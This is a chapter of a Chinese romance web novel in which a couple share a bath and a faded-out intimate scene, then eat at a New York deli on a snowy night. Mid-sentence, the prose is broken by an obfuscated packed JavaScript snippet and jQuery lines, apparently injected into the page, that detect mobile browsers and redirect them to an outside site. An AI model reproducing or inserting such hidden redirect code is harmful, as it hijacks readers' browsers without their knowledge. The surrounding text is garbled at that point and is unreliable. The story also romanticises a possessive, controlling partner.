水声轻响，暖意在氤氲的雾气中缓缓蔓延，夏知遥靠在浴缸边沿，脖颈微仰，原本盘起的发髻早已松散，几根发丝落在她脸侧，添了几分随意慵懒的美感。
周越靠在她身后，指尖轻轻挑起一缕她的头发，。他低声开口，声音里有一丝不易察觉的迟疑：“你怎么突然染了这么鲜艳的颜色？”
他顿了顿，目光落在那缕粉色发尾上，嗓音更轻了一些，“我记得你以前都是黑头发，很少染。”
夏知遥没立刻回应，低头看着那些泡沫浮浮沉沉，仿佛在看什么与她无关的事物。
“人总得变的嘛，”她终于开口，声音懒散，带着一丝若有若无的自嘲，“一直不变……那得多可怕啊。”
周越轻轻一笑，带着点温柔和微不可察的试探：“好看是好看……就是，不太像你。”
“可能吧，”她语气淡淡的，眼神却落在水面某个虚幻的倒影上，像是看着另一个自己，“染成粉色，起码看起来亮眼一点，别人也就不多问了。”
她顿了顿，声音轻轻的，几乎要被水声湮没：“……像披了层保护色。挺方便的。”话说得云淡风轻，却透着一种太熟练的躲闪感。
周越听得很清楚。他垂下眼睫，慢慢松开手指间的发丝，那缕湿润的粉发顺势滑落，贴在她锁骨上。
“知遥，”他嗓音低哑，像是压过了太多迟疑和思念，“在我这儿，不用伪装。”他顿了顿，语气轻，却格外笃定：“你喜欢干嘛就干嘛。真的。”
夏知遥微微一怔，笑着开口，带着一贯的调侃和轻描淡写：“你想多了吧，我就是一直想着染个粉色试试，以前没机会，现在……得偿所愿了而已。”
周越没有反驳，“嗯，好看就行。”他说，语气温和，却带着一丝他独有的笃定。
他慢慢开口，嗓音压低了一度：“不过……下次别想着拿这些花里胡哨的东西藏情绪了。”
他停了片刻，不动声色地看透一切，“你现在这个样子……”他眼神沉了几分，嗓音轻缓，却句句扎心，“想藏，也藏不住。”
“你这么较真干嘛？”她嗓音微哑，带着一点不耐，“水至清则无鱼，下一句不用我教你了吧？”
周越眯起眼，似笑非笑地看着她，嗓音懒洋洋的，尾音却像勾火一样慢慢扫过耳边：“哎呦，这又开始教育我了？我较不较真无所谓”
他整个人从水中起身的那一刻，像是脱去了所有温和伪装，带着蓄谋已久的靠近，他低头看着她，语气不疾不徐，却压得她呼吸一滞：“关键是，你过得好不好。”
“你要是不好，那就是我的事了。”这一句，像一把钥匙，猝不及防地撬开她所有的遮掩，劈头盖脸地砸碎她用来抵御他的一切防备。
夏知遥的笑僵了几秒，她垂下眼睫，过了好一会儿，她才低声开口：“我很好，不需要别人操心。”
“是吗？”周越没再追问，只是低低一笑，笑意淡极，却笃定得像宣判。
他俯身，居高临下地望着她，眼里藏着不动声色的锋芒，语气却带着轻巧的玩笑味道：“那我得好好看看，你，到底怎么个‘很好’法。”
水汽在四周氤氲不散，仿佛整间浴室都被他的情绪灌满，他的身影在雾气中晃动，却像一股无法抗拒的引力，将她一点点拉向那个藏着炽热与执念的深渊。
热度未退，他忽然俯身将她抱起，动作急促得有些失控，灯光昏黄，将两人交叠的身影投在床单上，一寸寸晃动着，像一场无声蔓延的风暴，悄无声息地吞噬了夜色。
夏知遥刚想起身，唇却已经被他覆住。那个吻很重，很急，几乎带着压抑太久后汹涌而出的情绪。他不像是在亲吻，更像是在逃，逃避某种恐惧，又像在用力抓住什么，拼命确认她还在。
他的怀抱炽热得几近灼人，动作紧绷而猛烈，连呼吸都带着一丝焦躁不安。
夏知遥心底泛起一丝莫名的不安，试图推开一些距离，却被他反手扣紧，扣得她连呼吸都困难。
他的吻一下一下落下，没有章法，只剩本能与执念，像是在把心底所有的渴望与恐惧，一股脑地倾泻在她身上。
“知遥……”他低低地喃着她的名字，嗓音带着沙哑的哽咽，“你答应我的，别丢下我。”他像是着了魔，力道几乎像要将她揉进骨血里，是某种近乎歇斯底里的控制与依恋。
夏知遥几乎被他紧紧抱着，喘不过气。她下意识唤他，声音带着本能的慌乱：“周越……”
可他仿佛没听见，额头抵着她的，目光炽热而近乎狂热，盯着她不放。
“别推我，”他一字一句，嗓音低沉，却带着一种无法抵挡的决绝，“从小到大，我只想要你。”
“哪怕你不想要我，我也不会放手。”
他的吻再次压下来，他的低语在她耳畔反复缠绕：“你只能是我的。”
她闭上眼，她想说点什么，可终究没说，他像是一团火，将她一点点焚烧殆尽，直到分不清是执念还是爱。
房间安静下来，夏知遥半倚在床头，推了一下周越：“我饿了。”她揉了揉脖子，语气里有一丝软绵、没来由的撒娇。
周越侧头看她，视线在她身上停留了片刻，那里还留着他的痕迹，随即失笑，嗓音低哑里带着一点促狭的笑意：“饿了？刚才还没吃饱？”
夏知遥懒得搭理他，斜睨他一眼，那眼神又娇又凛：“你自己多能折腾你自己不知道？还敢让我饿着肚子睡觉？”
“当然不敢。”周越笑着投降，他一边说一边捡起被扯落沙发上的衬衫穿上：“想吃什么？”
“随便。”她靠在床头，发丝顺着肩膀滑落，整个人像一只刚吃饱喝足、正打算挑剔晚餐的猫，“纽约嘛，不是什么都有？带我去点特别的。”
两人从酒店出来，夜色浓得像一张柔软的天鹅绒，轻轻裹住了整座城市。
周越招了辆出租车，车头灯将路面雪花照得闪闪发亮。夏知遥缩进羽绒服里，侧过头看他，眼神懒懒的，带着点刚被喂饱的倦意：“所以，到底要带我去哪儿？”
周越没有立刻回答，只看着前方，嘴角扬着一抹不动声色的笑意：“反正不能卖了你，我舍不得，等到了你就知道了。”
车窗外，雪花贴在玻璃上，悄无声息地融化，模糊了霓虹的轮廓，将曼哈顿的夜染上一层朦胧的温柔。
随着车子一路驶向下东区，高楼的轮廓渐渐被红砖老楼替代，街道褪去摩登外衣，变得更有生活的褶皱。灯光也从冷白变为暖黄，像是从城市的表面滑进了心脏。
出租车最终停在一盏复古的红色霓虹灯下，KATZ’S DELICATESSEN。
夏知遥下车，仰头望着那块泛着光晕的招牌，眉头微挑，语气带着一点调笑：“这儿？”
“嗯。”周越已经走到门前，推开门的一瞬间，一股浓郁的肉香与暖气扑面而来，像是城市深夜里藏着的一个秘密角落。他回头看她，语气平静中带着几分安静的期待，“别跟我说你没吃过？”
夏知遥轻轻嗅了嗅空气中的咸香，唇角不自觉扬起一抹笑：“你还别说，真没来过这，还挺有烟火气。”
店内灯光温暖，墙上挂满了黑白老照片与泛黄的电影海报，像一座隐秘的时光通道。
他们选了角落的一张桌子坐下。周越熟门熟路地翻着菜单，递给她，“这家店，1888年开的，纽约老字号了。随便选，不过咸牛肉三明治是招牌。”
夏知遥接过菜单，懒洋洋地翻了翻，眼神打量着店内陈设，语气随意中带着几分熟稔的揶揄：“你不会也是加班到半夜来这里吃饭的那种人吧？”
周越抬眼看她，眼神含笑，语调低缓：“是啊。不过，要真想懂一座城市，就得从深夜开始，从这种地方开始。”
她微微一怔，随后笑了一下，没再打趣，她点了一份咸牛肉三明治和鸡汤，周越则要了熏牛肉三明治和一杯热咖啡。
不一会儿，餐点被端上来，热气蒸腾，香味扑鼻，厚实的牛肉片夹在温热松软的面包之间，汁水渗出，像是整整一夜的慰藉。
夏知遥咬了一口，肉香瞬间在口中炸开，她眼神亮了亮，忍不住低声感叹：“……不错。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977830|177885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
周越举杯喝了一口咖啡，侧头看她，眼里浮起一点柔光：“我就说你会喜欢。”
她却忽然轻轻一笑，语气看似轻快，眼神却若有若无地扫过他：“可惜了，这么好的地方，能跟你一起来的人……应该不多吧？”
周越缓缓放下杯子，眼神在墙上的老照片间停了几秒，像是在翻阅过去，语气却轻得几乎随风而散：“睡完来的，你是第一个。”
夏知遥手中动作一顿，垂下眼眸，唇角浮起一抹淡笑，轻轻应了一声：“那……真是荣幸。”声音里听不出情绪，像是顺着他的话接了一句玩笑，却谁都知道，那一瞬，她心里确实起了点波澜。
屋外，雪还在下，街边路灯的光在雪里晕出一层层柔影。城市不眠，万家灯火中，只有他们这一桌，温热、安静、刚刚好。
周越看着她，一边低头喝着饮料，胸腔里的躁意和悸动，比他表面表现出来的，要难以收拾得多。
那场亲密之后的沉静，不过是一层柔软的表象，他太清楚，自己今晚为什么那么急、那么用力，几乎是失控。
他不是不知道分寸，只是控制不住，每当焦虑袭来，他就渴望靠近、靠触碰来确认真实。只有抱紧她，才能勉强压住那种不确定的恐慌感。
可她没发现，或者说，她察觉了他不一样，却没问，他也没打算解释。
他只是默默看着她，仿佛只要她坐在他对面，哪怕心里仍旧躁动不安，他也能找到一点点可供落脚的安稳。
两人走出餐厅，街头早已被细雪覆盖，霓虹灯折射在雪地上，光晕像漫天失焦的星芒，城市静得仿佛都睡着了，只剩下他们走在这片被雪温柔掩盖的街道上。
周越将手插进大衣口袋，侧头看她一眼，唇角微微勾着，眼里藏着一丝若有若无的笑意：“刚才看到那些墙上的老照片了吗？”
夏知遥拉紧羽绒服，懒懒地应着：“看见了，怎么，你也想上墙青史留名？”
他失笑，脚步忽地一顿，转身站到她面前。雪落在他肩上，他却像没感觉到，低头整了整袖口，动作仍是那种习惯性的从容。可嗓音却低了几分，认真得像在说誓言：“不上墙，不过……可以拍一张。”
他顿了顿，眼神落在她脸上，语气轻得几乎被风卷走，却异常坚定：“留个纪念。”
夏知遥挑眉看他，“纪念什么？”
周越没有立刻回答，只是静静看着她，“纪念今晚，”他缓缓道，“纪念你在我身边。”
他没说出口的那句话，藏得很深，如果有一天她再次离开，至少他还留下了一个冬夜、一个她真的属于他怀里的证据。
周越伸手搂住她，手机举起，快门“咔哒”一声轻响，画面定格：她站在雪夜中，粉色发梢沾着雪，灯光与霓虹在她眼睫打出细碎的光影。她的肩头覆着一层薄雪，神情清冷，眼里却藏着一抹淡淡的笑意，而他偏过头，低头吻落在她发梢。
周越没有急着查看照片，只是盯着屏幕，久久没移开目光，仿佛要透过这张照片，把她深深嵌进自己的生命。
那一刻，他焦虑的神经终于松了一寸，拍下她，就像某种临时的“占有”，等于证明她此刻还在，等于确认她还没走。
他收起手机，还没来得及说话，夏知遥已经凑过来看了一眼，斜睨着他轻哼：“拍得也太一般了吧？就这水平，还想留念？”
周越失笑，懒洋洋地把手机揣进口袋，语气毫不掩饰自己的偏执与温柔：“照片好不好看不重要。”
他顿了顿，眼神在她脸上缓缓停留，深而静地落下：“重要的是人，是独一无二的。”他声音很轻，雪落得也轻，但语气里却藏着一种无法动摇的执念，沉稳又带着某种疯魔的底色。
夏知遥轻轻哼了一声，没再搭话，只转身继续往前走，她没回头。
周越看着她的背影，步伐轻快却带着那种天生的孤傲，她像一只走在雪地里的狐狸，披着风雪，自由而美丽，难以捉摸。
他慢慢跟上，伸手搂住她的肩，只要她还在身边，他就能稳住自己，可她要是再走，他一定会疯。